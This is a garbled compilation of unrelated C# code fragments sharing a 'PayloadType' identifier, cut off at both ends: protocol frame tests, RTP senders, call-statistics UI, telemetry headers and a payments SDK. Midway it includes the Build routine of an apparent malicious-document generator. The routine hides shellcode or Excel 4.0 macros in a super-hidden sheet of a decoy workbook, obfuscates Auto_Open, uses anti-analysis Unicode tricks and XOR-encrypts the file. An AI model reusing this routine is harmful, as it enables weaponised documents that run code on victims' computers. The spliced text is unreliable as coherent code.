byte[] frameContent = Encoding.UTF8.GetBytes("helo 00000000000 0000000410 foobar\nend\n");
MemoryStream ns = new MemoryStream(frameContent);
Frame.ReadFromStream(ns);
}
catch (CorruptedFrameException ex)
{
// Successfull
Console.WriteLine("thrown CorruptedFrameException");
}
// Testing Reading Verifying Signing Key Pair Frame
Console.WriteLine("");
Console.WriteLine("Testing Reading Verifying Signing Key Pair Frame:");
string vsString = "pute 0000000099 0000001337\n" + "kv testKey 9\n" + "testValue\n" + "kv blahbla2 10\n" + "blahblahb2\n" + "kv lawlKey 6\n" + "foobar\n" + "end\n";
byte[] vsBytes = Encoding.UTF8.GetBytes(vsString);
MemoryStream vsStream = new MemoryStream(vsBytes);
Frame csFrame = Frame.ReadFromStream(vsStream);
Console.WriteLine("Command: " + Command.PUT_ENTITY + " = " + csFrame.command);
Console.WriteLine("Sequence number: " + "1337" + " = " + csFrame.sequenceNumber);
Console.WriteLine("Number of VS key pais: " + "3" + " = " + csFrame.vsKeyPairs.Count);
Console.WriteLine("Value from testKey: " + "testValue" + " = " + Encoding.UTF8.GetString(csFrame.PopFirstValue("testKey")));
Console.WriteLine("Empty list: false" + " = " + csFrame.routingObjects.Any());
//Testing Writing VSKeyPair
Console.WriteLine("");
Console.WriteLine("Testing Writing VSKeyPair:");
FrameUtils writerUtils = new FrameUtils(Command.PUBLISH, 9876);
writerUtils.AddVSKeyPairGetUtils("testKey1", "testValue1");
writerUtils.AddVSKeyPairGetUtils("testKey2", "testValue2");
Frame writerFrame = writerUtils.Build();
MemoryStream ns1 = new MemoryStream();
Stream bs1 = ns1;
writerFrame.Write(bs1);
string frameRetreived = Encoding.UTF8.GetString(ns1.ToArray());
string expectedFrameStr = "publ 0000000000 0000009876\n" + "kv testKey1 10\n" + "testValue1\n" + "kv testKey2 10\n" + "testValue2\n" + "end\n";
if (frameRetreived.Equals(expectedFrameStr))
{
Console.WriteLine("Writing VSK test: They are equal.");
}
//Testing Writing PayloadObject
Console.WriteLine("");
Console.WriteLine("Testing Writing PayloadObject:");
FrameUtils powriterUtils = new FrameUtils(Command.SUBSCRIBE, 1234);
PayloadType potype = new PayloadType(42);
PayloadObject poo = new PayloadObject(potype, Encoding.UTF8.GetBytes("testPayload"));
powriterUtils.AddPayloadObjectGetUtils(poo);
Frame powriterFrame = powriterUtils.Build();
MemoryStream ns2 = new MemoryStream();
Stream bs2 = ns2;
powriterFrame.Write(bs2);
string poframeRetreived = Encoding.UTF8.GetString(ns2.ToArray());
string poexpectedFrameStr = "subs 0000000000 0000001234\n" + "po :42 11\n" + "testPayload\n" + "end\n";
if (poframeRetreived.Equals(poexpectedFrameStr))
{
Console.WriteLine("Writing PO test: They are equal.");
}
//Testing Writing RoutingObject
Console.WriteLine("");
Console.WriteLine("Testing Writing RoutingObject:");
FrameUtils rowriterUtils = new FrameUtils(Command.PUBLISH, 9876);
RoutingObject ro = new RoutingObject(45, Encoding.UTF8.GetBytes("relaxing"));
rowriterUtils.AddRoutingObjectGetUtils(ro);
Frame rowriterFrame = rowriterUtils.Build();
MemoryStream ns3 = new MemoryStream();
Stream bs3 = ns3;
rowriterFrame.Write(bs3);
string roframeRetreived = Encoding.UTF8.GetString(ns3.ToArray());
string roexpectedFrameStr = "publ 0000000000 0000009876\n" + "ro 45 8\n" + "relaxing\n" + "end\n";
if (roframeRetreived.Equals(roexpectedFrameStr))
{
Console.WriteLine("Writing RO test: They are equal.");
}
//Reading RoutingObject Frame
Console.WriteLine("");
Console.WriteLine("Testing Reading RoutingObject Frame:");
string roframetoread = "dlpc 0000000987 0000000645\n" + "ro 255 6\n" + "testRO\n" + "end\n";
byte[] roframeBytes = Encoding.UTF8.GetBytes(roframetoread);
MemoryStream roStream = new MemoryStream(roframeBytes);
Frame roFrame = Frame.ReadFromStream(roStream);
Console.WriteLine("Command: " + Command.DEL_PREF_CHAIN + " = " + roFrame.command);
Console.WriteLine("Sequence number: " + "645" + " = " + roFrame.sequenceNumber);
Console.WriteLine("VSkeyPairCount: " + "0" + " = " + roFrame.vsKeyPairs.Count);
Console.WriteLine("RoutinObjects.Count: 1" + " = " + roFrame.routingObjects.Count);
Console.WriteLine("PayloadObjects.Count: 0" + " = " + roFrame.payloadObjects.Count);
//Readin PayloadObject Frame
Console.WriteLine("");
Console.WriteLine("Testing Reading PayloadObject Frame:");
string poframetoread = "make 0000000059 0000000999\n" + "po 1.2.3.4: 11\n" + "testPayload\n" + "end\n";
byte[] poframeBytes = Encoding.UTF8.GetBytes(poframetoread);
MemoryStream mempo = new MemoryStream(poframeBytes);
Frame mepoframe = Frame.ReadFromStream(mempo);
Console.WriteLine("Command: " + Command.MAKE_ENTITY + " = " + mepoframe.command);
Console.WriteLine("Sequence number: " + "999" + " = " + mepoframe.sequenceNumber);
Console.WriteLine("VSkeyPairCount: " + "0" + " = " + mepoframe.vsKeyPairs.Count);
Console.WriteLine("RoutinObjects.Count: 0" + " = " + mepoframe.routingObjects.Count);
Console.WriteLine("PayloadObjects.Count: 1" + " = " + mepoframe.payloadObjects.Count);
PayloadType expectedType = new PayloadType(new byte[] { 1, 2, 3, 4 });
byte[] expectedContents = Encoding.UTF8.GetBytes("testPayload");
PayloadObject expectedPayload = new PayloadObject(expectedType, expectedContents);
if (expectedPayload.Equals(mepoframe.payloadObjects[0]))
{
Console.WriteLine("Readin PO test: They are equal.");
}
}
//public byte[] EventPayload
//{
// get
// {
// using (MemoryStream ms = new MemoryStream())
// {
// using (BinaryWriter writer = new BinaryWriter(ms))
// {
// this.Serialize(writer);
// }
// return ms.ToArray();
// }
// }
//}
//public static Payload CreateInstance(byte[] eventPayload)
//{
// if (eventPayload.Length == 0)
// {
// throw new ArgumentException("Event payload is empty", "eventPayload");
// }
// PayloadType eventType = (PayloadType)eventPayload[0];
// Payload eventData = null;
// switch (eventType)
// {
// case PayloadType.CollectionOpened:
// eventData = new CollectionOpenedPayload(eventPayload);
// break;
// case PayloadType.ObjectOpened:
// eventData = new ObjectOpenedPayload(eventPayload);
// break;
// case PayloadType.ObjectDeleted:
// eventData = new ObjectDeletedPayload(eventPayload);
// break;
// case PayloadType.ObjectClosed:
// eventData = new ObjectClosedPayload(eventPayload);
// break;
// case PayloadType.ObjectConnected:
// eventData = new ObjectConnectedPayload(eventPayload);
// break;
// case PayloadType.CollectionDeleted:
// eventData = new CollectionDeletedPayload(eventPayload);
// break;
// case PayloadType.Object:
// eventData = new ObjectPayload(eventPayload);
// break;
// case PayloadType.ObjectInserted:
// eventData = new ObjectInsertedPayload(eventPayload);
// break;
// case PayloadType.ObjectRemoved:
// eventData = new ObjectRemovedPayload(eventPayload);
// break;
// case PayloadType.PropertyUpdated:
// eventData = new PropertyChangedPayload(eventPayload);
// break;
// case PayloadType.RegisterClient:
// eventData = new ClientConnectPayload(eventPayload);
// break;
// case PayloadType.RegisterPrincipal:
// eventData = new RegisterPrincipalPayload(eventPayload);
// break;
// case PayloadType.CollectionConnected:
// eventData = new CollectionConnectedPayload(eventPayload);
// break;
// case PayloadType.CollectionClosed:
// eventData = new CollectionClosedPayload(eventPayload);
// break;
// case PayloadType.SingletonInitialized:
// eventData = new SingletonInitializedPayload(eventPayload);
// break;
// case PayloadType.ObjectError:
// eventData = new ObjectErrorPayload(eventPayload);
// break;
// case PayloadType.ObjectPropertyError:
// eventData = new ObjectPropertyErrorPayload(eventPayload);
// break;
// case PayloadType.Error:
// eventData = new ErrorPayload(eventPayload);
// break;
// case PayloadType.Trace:
// eventData = new TracePayload(eventPayload);
// break;
// case PayloadType.ServerCommand:
// eventData = new ServerCommandPayload(eventPayload);
// break;
// case PayloadType.AtomicOperation:
// eventData = new AtomicPayload(eventPayload);
// break;
// case PayloadType.UnauthorizedError:
// eventData = new UnauthorizedErrorPayload(eventPayload);
// break;
// case PayloadType.ObjectSecurity:
// eventData = new SharedObjectSecurityPayload(eventPayload);
// break;
// case PayloadType.DirectMessage:
// eventData = new MessagePayload(eventPayload);
// break;
// case PayloadType.CollectionHeartbeat:
// eventData = new CollectionHeartbeatPayload(eventPayload);
// break;
// case PayloadType.EvictionPolicy:
// eventData = new EvictionPolicyPayload(eventPayload);
// break;
// default:
// throw new InvalidOperationException("Unknown EventLinkDataType");
// }
// return eventData;
//}
//private ushort GenerateId()
//{
// ushort id = payloadSequenceId;
// payloadSequenceId++;
// // The max value is reserved for internal constructors to specify to the payload constructor
// // that they want an auto generated payload id, so we skip over that number in the sequence
// if (payloadSequenceId == ushort.MaxValue)
// {
// payloadSequenceId = 0;
// }
// return id;
//}
/// <summary>
/// Used by serializer
/// </summary>
/// TODO FIX BACK TO PROTECTED IL2JS
//public Payload2()
// : this(PayloadType.Undetermined)
//{
//}
public Payload2(PayloadType eventType)
{
this.EventType = eventType;
//this.PayloadId = GenerateId();
}
public PayloadChannel(PayloadType pType)
{
fPayloadType = pType;
}
public Payload(string content)
{
_strContent = content;
_type = PayloadType.String;
_size = content.Length;
}
public static String payloadHeader(PayloadType type)
{
switch (type) {
case PayloadType.Altitude:
return "ALT";
case PayloadType.Apoapsis:
return "APA";
case PayloadType.Apoapsis_r:
return "APR";
case PayloadType.Orb_spd:
return "OSP";
case PayloadType.Periapsis:
return "PEA";
case PayloadType.Periapsis_r:
return "PER";
case PayloadType.Stage:
return "STG";
case PayloadType.Surf_spd:
return "SSP";
case PayloadType.T_t_apo:
return "TTA";
case PayloadType.T_t_peri:
return "TTP";
case PayloadType.Targ_dist:
return "TDI";
case PayloadType.Targ_spd:
return "TSP";
case PayloadType.SOI_Num:
return "SOI";
case PayloadType.Latitude:
return "LAT";
case PayloadType.Longitude:
return "LON";
case PayloadType.Orbital_period:
return "OPE";
case PayloadType.Gee_force:
return "GFO";
case PayloadType.Terrain_altitude:
return "AGL";
default:
return "INV";
}
}
public Payload(FileStream file)
{
_fileContent = file;
_type = PayloadType.File;
_size = file.Length;
}
/// <summary>
/// Get whether the individual property is a single primitive type.
/// </summary>
/// <param name="responsePayload">the string of the response payload.</param>
/// <param name="payloadType">the type of the response payload.</param>
/// <returns>True, if the the individual property is a single primitive type; false otherwise. </returns>
public static bool IsIndividualPropertySinglePrimitiveType(
string responsePayload, PayloadType payloadType)
{
if (payloadType != PayloadType.IndividualProperty || string.IsNullOrEmpty(responsePayload))
return false;
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.LoadXml(responsePayload);
XmlElement root = xmlDoc.DocumentElement;
if (root.LocalName.Equals("value") && root.NamespaceURI.Equals(Constants.NSMetadata))
{
if (root.Attributes["context", Constants.NSMetadata] != null)
{
string contextURI = root.Attributes["context", Constants.NSMetadata].Value;
string propertyType = contextURI.Remove(0, contextURI.IndexOf('#') + 1);
if (propertyType.Contains("Collection("))
return false;
}
if (root.Attributes["type", Constants.NSMetadata] != null)
{
string typeName = root.Attributes["type", Constants.NSMetadata].Value;
if (!typeName.Contains("."))
{
typeName = "Edm." + typeName;
}
if (EdmTypeManager.IsEdmSimpleType(typeName))
{
return true;
}
}
else
{
return true;
}
}
return false;
}
internal static Frame MessageToFrame(ulong conversationId, string methodName, PayloadType type, IMessage payload, IBonded layerData, Logger logger)
{
var frame = new Frame(logger);
{
var headers = new EpoxyHeaders
{
conversation_id = conversationId,
payload_type = type,
method_name = methodName ?? string.Empty, // method_name is not nullable
};
if (payload.IsError)
{
headers.error_code = payload.Error.Deserialize <Error>().error_code;
}
else
{
headers.error_code = (int)ErrorCode.OK;
}
const int initialHeaderBufferSize = 150;
var outputBuffer = new OutputBuffer(initialHeaderBufferSize);
var fastWriter = new FastBinaryWriter <OutputBuffer>(outputBuffer);
Serialize.To(fastWriter, headers);
frame.Add(new Framelet(FrameletType.EpoxyHeaders, outputBuffer.Data));
}
if (layerData != null)
{
const int initialLayerDataBufferSize = 150;
var outputBuffer = new OutputBuffer(initialLayerDataBufferSize);
var compactWriter = new CompactBinaryWriter <OutputBuffer>(outputBuffer);
// TODO: See TODO below about issues with IBonded Marshal.TO(...)
compactWriter.WriteVersion();
layerData.Serialize(compactWriter);
frame.Add(new Framelet(FrameletType.LayerData, outputBuffer.Data));
}
{
var userData = payload.IsError ? (IBonded)payload.Error : (IBonded)payload.RawPayload;
const int initialPayloadBufferSize = 1024;
var outputBuffer = new OutputBuffer(initialPayloadBufferSize);
var compactWriter = new CompactBinaryWriter <OutputBuffer>(outputBuffer);
// TODO: marshal dies on IBonded Marshal.To(compactWriter, request)
// understand more deeply why and consider fixing
compactWriter.WriteVersion();
userData.Serialize(compactWriter);
frame.Add(new Framelet(FrameletType.PayloadData, outputBuffer.Data));
}
return(frame);
}
internal RtpSender(IRtpSession rtpSession, string name, PayloadType payloadType, Hashtable priExns, Hashtable paraPay)
{
if(Thread.CurrentThread.Name == null)
{
Thread.CurrentThread.Name = "RtpSender - " + name;
}
this.rtpSession = rtpSession;
this.payloadType = payloadType;
this.payloadPara = paraPay;
// Leave everything but CName and Name blank in order to reduce Rtcp bandwidth
sdes = new SdesData(rtpSession.Sdes.CName, name);
// Add private extensions
sdes.SetPrivateExtension(Rtcp.PEP_SOURCE, Rtcp.PED_STREAM);
sdes.SetPrivateExtension(Rtcp.PEP_PAYLOADTYPE, ((int)payloadType).ToString());
InitializeNetwork();
InitializeFrame();
InitializePerformanceCounters();
// This needs to be called after InitializeNetwork
if( priExns != null )
{
foreach(DictionaryEntry de in priExns)
{
sdes.SetPrivateExtension((string)de.Key, (string)de.Value);
}
string dbpString = (string)priExns[Rtcp.PEP_DBP];
if( dbpString != null )
DelayBetweenPackets = short.Parse(dbpString);
}
ResetState();
}
/*private void cm_ContactFound(object sender, ContactFoundEventArgs e)
* {
* if (e.ContactFound != null)
* {
* Contact.Text = e.ContactFound.DisplayName;
* if (e.PhoneLabel != null)
* {
* Number.Text = e.PhoneLabel + " : " + e.PhoneNumber;
* }
* else
* {
* Number.Text = e.PhoneNumber;
* }
* }
* }*/
private void timerTick(Object sender, Object e)
{
Call call = ((InCallModel)this.DataContext).GetCurrentCall();
if (call == null)
{
return;
}
//startTime = (DateTimeOffset)call.CallStartTimeFromContext;
TimeSpan callDuration = new TimeSpan(call.Duration * TimeSpan.TicksPerSecond);
var hh = callDuration.Hours;
var ss = callDuration.Seconds;
var mm = callDuration.Minutes;
Status.Text = hh.ToString("00") + ":" + mm.ToString("00") + ":" + ss.ToString("00");
string audioPayloadType = "";
string audioDownloadBandwidth = "";
string audioUploadBandwidth = "";
string videoPayloadType = "";
string videoDownloadBandwidth = "";
string videoUploadBandwidth = "";
CallParams param = call.CurrentParams;
((InCallModel)this.DataContext).MediaEncryption = param.MediaEncryption.ToString();
CallStats audioStats = null;
try {
audioStats = call.GetStats(StreamType.Audio);
} catch { }
if (audioStats != null)
{
audioDownloadBandwidth = String.Format("{0:0.00}", audioStats.DownloadBandwidth);
audioUploadBandwidth = String.Format("{0:0.00}", audioStats.UploadBandwidth);
((InCallModel)this.DataContext).ICE = audioStats.IceState.ToString();
}
PayloadType audiopt = param.UsedAudioPayloadType;
if (audiopt != null)
{
audioPayloadType = audiopt.MimeType + "/" + audiopt.ClockRate;
}
if (param.VideoEnabled)
{
CallStats videoStats = call.GetStats(StreamType.Video);
if (videoStats != null)
{
videoDownloadBandwidth = String.Format("{0:0.00}", videoStats.DownloadBandwidth);
videoUploadBandwidth = String.Format("{0:0.00}", videoStats.UploadBandwidth);
}
PayloadType videopt = param.UsedVideoPayloadType;
if (videopt != null)
{
videoPayloadType = videopt.MimeType;
}
VideoDefinition receivedVideoSize = param.ReceivedVideoDefinition;
String NewReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
String OldReceivedVideoSize = ((InCallModel)this.DataContext).ReceivedVideoSize;
if (OldReceivedVideoSize != NewReceivedVideoSize)
{
((InCallModel)this.DataContext).ReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
((InCallModel)this.DataContext).IsVideoActive = false;
if (NewReceivedVideoSize != "0x0")
{
((InCallModel)this.DataContext).IsVideoActive = true;
}
}
VideoDefinition sentVideoSize = param.SentVideoDefinition;
((InCallModel)this.DataContext).SentVideoSize = String.Format("{0}x{1}", sentVideoSize.Width, sentVideoSize.Height);
((InCallModel)this.DataContext).VideoStatsVisibility = Visibility.Visible;
}
else
{
((InCallModel)this.DataContext).VideoStatsVisibility = Visibility.Collapsed;
}
string downloadBandwidth = audioDownloadBandwidth;
if ((downloadBandwidth != "") && (videoDownloadBandwidth != ""))
{
downloadBandwidth += " - ";
}
if (videoDownloadBandwidth != "")
{
downloadBandwidth += videoDownloadBandwidth;
}
((InCallModel)this.DataContext).DownBandwidth = String.Format("{0} kb/s", downloadBandwidth);
string uploadBandwidth = audioUploadBandwidth;
if ((uploadBandwidth != "") && (videoUploadBandwidth != ""))
{
uploadBandwidth += " - ";
}
if (videoUploadBandwidth != "")
{
uploadBandwidth += videoUploadBandwidth;
}
((InCallModel)this.DataContext).UpBandwidth = String.Format("{0} kb/s", uploadBandwidth);
string payloadType = audioPayloadType;
if ((payloadType != "") && (videoPayloadType != ""))
{
payloadType += " - ";
}
if (videoPayloadType != "")
{
payloadType += videoPayloadType;
}
((InCallModel)this.DataContext).PayloadType = payloadType;
}
internal RtpSenderFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns, Hashtable paraPay)
:
base(session, name, pt, priExns, paraPay) {}
internal static extern ErrorCode CionPayloadCreate(out PayloadSafeHandle payload, PayloadType type);
internal static RtpSender CreateInstance(IRtpSession session, string name, PayloadType pt,
Hashtable priExns, ushort cDataPx, ushort cFecPx)
{
// Validate before adding to private extensions
if(cFecPx == 0)
{
throw new ArgumentOutOfRangeException("cFecPx", cFecPx, "Must be >= 1");
}
// Add the relevant private extension for FEC
Hashtable fecExns = null;
if(priExns != null)
{
fecExns = (Hashtable)priExns.Clone();
}
else
{
fecExns = new Hashtable();
}
fecExns[Rtcp.PEP_FEC] = cDataPx.ToString() + ":" + cFecPx.ToString();
// Call generic class factory
return CreateInstance(session, name, pt, fecExns, null);
}
internal static extern ErrorCode CionPayloadGetType(IntPtr payload, out PayloadType type);
/// <summary>
/// Creates a basic RtpSender
///
/// This RtpSender simply sends data over the wire. It uses the least amount of CPU and
/// network bandwidth at the cost of reliability (i.e. it makes no attempts to improve data
/// arrival at the remote site).
/// </summary>
/// <param name="Name">string Friendly Name of the device/sender of this RtpStream</param>
/// <param name="payloadType">Rtp Payload Type</param>
/// <param name="priExns">Private extensions for this RtpSender/Stream</param>
public RtpSender CreateRtpSender(string name, PayloadType pt, Hashtable priExns)
{
ValidateRtpTraffic();
RtpSender rtpSender = RtpSender.CreateInstance(this, name, pt, priExns);
_CreateRtpSender(rtpSender);
return rtpSender;
}
/// <summary>
/// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
/// </summary>
/// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
/// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
/// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
/// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
/// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
/// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
/// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
/// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
/// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the SheetPackingMethod for encoding.</param>
/// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
/// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
/// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param>
public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
PayloadType payloadType = PayloadType.Shellcode,
string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.MatchSheetPackingMethod,
string password = "", string localizedLabel = "Auto_Open")
{
if (decoyDocument == null || payload == null)
{
Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
return;
}
//Useful for remote debugging
if (debugMode)
{
Console.WriteLine("Waiting for debugger to attach");
while (!Debugger.IsAttached)
{
Thread.Sleep(100);
}
Console.WriteLine("Debugger attached");
}
List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();
string decoyDocPath = decoyDocument.FullName;
WorkbookStream wbs = LoadDecoyDocument(decoyDocPath);
List <string> sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList();
VBAInfo vbaInfo = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames);
List <string> preambleCode = new List <string>();
if (preamble != null)
{
string preambleCodePath = new FileInfo(preamble).FullName;
preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
}
WorkbookEditor wbe = new WorkbookEditor(wbs);
wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);
List <string> macros = null;
byte[] binaryPayload = null;
byte[] binary64Payload = null;
//TODO make this customizable
int rwStart = 0;
int colStart = 0xA0;
int dstRwStart = 0;
int dstColStart = 0;
int curRw = rwStart;
int curCol = colStart;
switch (payloadType)
{
case PayloadType.Shellcode:
macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
binaryPayload = File.ReadAllBytes(payload.FullName);
if (payload64Bit != null && payload64Bit.Exists)
{
binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
}
break;
case PayloadType.Macro:
macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
//Prepend the preamble to the imported pattern
macros = preambleCode.Concat(macros).ToList();
break;
default:
throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
"payloadType");
}
if (binaryPayload != null && binaryPayload.Length > 0)
{
if (payloadMethod == PayloadPackingMethod.Base64)
{
wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod);
}
else
{
wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
}
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
if (binary64Payload != null && binary64Payload.Length > 0)
{
if (payloadMethod == PayloadPackingMethod.Base64)
{
wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod);
}
else
{
wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
}
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
}
if (payloadMethod == PayloadPackingMethod.Base64)
{
macros = MacroPatterns.GetBase64DecodePattern(preambleCode);
}
}
wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);
// Initialize the Global Stream records like SupBook + ExternSheet
wbe.InitializeGlobalStreamLabels();
if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
{
ushort charInvocationRw = 0xefff;
ushort charInvocationCol = 0x9f;
wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);
//Abuse a few comparison "features" in Excel
//1. Null bytes are ignored at the beginning and start of a label.
//2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
//3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
//4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
//Using lblIndex 2, since that what var has set for us
wbe.AddFormula(
FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod);
}
else if (method == SheetPackingMethod.ArgumentSubroutines)
{
ushort charInvocationRw = 0xefff;
ushort charInvocationCol = 0x9f;
ushort formInvocationRw = 0xefff;
ushort formInvocationCol = 0x9e;
ushort evalFormInvocationRw = 0xefff;
ushort evalFormInvocationCol = 0x9d;
//Lbl1
wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false);
//Lbl2
wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false);
//Lbl3
wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true);
//Lbl4
wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true);
//Lbl5
wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true);
//Lbl6
wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false);
//Lbl7
wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true);
List <Formula> charFunctionFormulas =
FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3,
UnicodeHelper.CharFuncArgument1Label);
foreach (var f in charFunctionFormulas)
{
wbe.AddFormula(f, payloadMethod);
}
List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes(
formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label,
UnicodeHelper.FormulaFuncArgument2Label, 4, 5);
foreach (var f in formulaFunctionFormulas)
{
wbe.AddFormula(f, payloadMethod);
}
List <Formula> formulaEvalFunctionFormulas =
FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes(
evalFormInvocationRw, evalFormInvocationCol,
UnicodeHelper.FormulaEvalArgument1Label, 7);
foreach (var f in formulaEvalFunctionFormulas)
{
wbe.AddFormula(f, payloadMethod);
}
}
wbe.AddLabel(localizedLabel, rwStart, colStart);
wbe.ObfuscateAutoOpen(localizedLabel);
WorkbookStream createdWorkbook = wbe.WbStream;
if (!string.IsNullOrEmpty(password))
{
Console.WriteLine("Encrypting Document with Password " + password);
XorObfuscation xorObfuscation = new XorObfuscation();
createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
// createdWorkbook = createdWorkbook.FixBoundSheetOffsets();
}
ExcelDocWriter writer = new ExcelDocWriter();
string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;
Console.WriteLine("Writing generated document to {0}", outputPath);
writer.WriteDocument(outputPath, createdWorkbook, vbaInfo);
}
public virtual void RemoveCompressor(PayloadType payload)
{
RemoveCompressor();
}
public virtual void RemoveCompressor(PayloadType payload)
{
RemoveCompressor();
}
public virtual void RemoveRenderer(PayloadType payload)
{
RemoveRenderer();
}
/// <summary>
/// Core implementation of processMethod. Retrieves a generic type.
/// </summary>
/// <typeparam name="T">Generic type that will return.</typeparam>
/// <param name="clazz">Type of Class we are using.</param>
/// <param name="resource">Resource we will use and return in the implementation.</param>
/// <param name="methodName">The name of the method we are trying to call.</param>
/// <param name="parameters">Parameters to use in the process.</param>
/// <param name="useCache">Cache configuration.</param>
/// <param name="requestOptions">Object containing the request options.</param>
/// <returns>Generic type object, containing information about retrieval process.</returns>
protected static T ProcessMethod <T>(Type clazz, T resource, string methodName, Dictionary <string, string> parameters, bool useCache, MPRequestOptions requestOptions) where T : MPBase
{
if (resource == null)
{
try
{
resource = (T)Activator.CreateInstance(clazz);
}
catch (Exception ex)
{
throw new MPException(ex.Message);
}
}
var clazzMethod = GetAnnotatedMethod(clazz, methodName);
var restData = GetRestInformation(clazzMethod);
HttpMethod httpMethod = (HttpMethod)restData["method"];
PayloadType payloadType = (PayloadType)restData["payloadType"];
JObject payload = GeneratePayload(httpMethod, resource);
if (requestOptions == null)
{
int requestTimeout = (int)restData["requestTimeout"];
int retries = (int)restData["retries"];
requestOptions = new MPRequestOptions
{
Retries = retries,
Timeout = requestTimeout
};
}
string path = ParsePath(restData["path"].ToString(), parameters, resource, requestOptions);
MPAPIResponse response = CallAPI(httpMethod, path, payloadType, payload, useCache, requestOptions);
if (response.StatusCode >= 200 && response.StatusCode < 300)
{
if (httpMethod != HttpMethod.DELETE)
{
resource = (T)FillResourceWithResponseData(resource, response);
resource._lastApiResponse = response;
}
else
{
resource = null;
}
}
else if (response.StatusCode >= 400 && response.StatusCode < 500)
{
BadParamsError badParamsError = MPCoreUtils.GetBadParamsError(response.StringResponse);
resource.Errors = badParamsError;
}
else
{
MPException webserverError = new MPException()
{
StatusCode = response.StatusCode,
ErrorMessage = response.StringResponse
};
webserverError.Cause.Add(response.JsonObjectResponse.ToString());
throw webserverError;
}
return(resource);
}
/// <summary>
/// Remove everything downstream from the DVSplitter for the specified payload type
/// </summary>
/// <param name="payload"></param>
public override void RemoveCompressor(PayloadType payload)
{
RemoveFiltersDownstreamFromSplitter(payload);
}
/// <summary>
/// Create a request to use in the call to a certain endpoint.
/// </summary>
/// <returns>Api response with the result of the call.</returns>
public MPRequest CreateRequest(HttpMethod httpMethod,
string path,
PayloadType payloadType,
JObject payload,
MPRequestOptions requestOptions)
{
if (string.IsNullOrEmpty(path))
throw new MPRESTException("Uri can not be an empty string.");
if (httpMethod.Equals(HttpMethod.GET))
{
if (payload != null)
{
throw new MPRESTException("Payload not supported for this method.");
}
}
else if (httpMethod.Equals(HttpMethod.POST))
{
//if (payload == null)
//{
// throw new MPRESTException("Must include payload for this method.");
//}
}
else if (httpMethod.Equals(HttpMethod.PUT))
{
if (payload == null)
{
throw new MPRESTException("Must include payload for this method.");
}
}
else if (httpMethod.Equals(HttpMethod.DELETE))
{
if (payload != null)
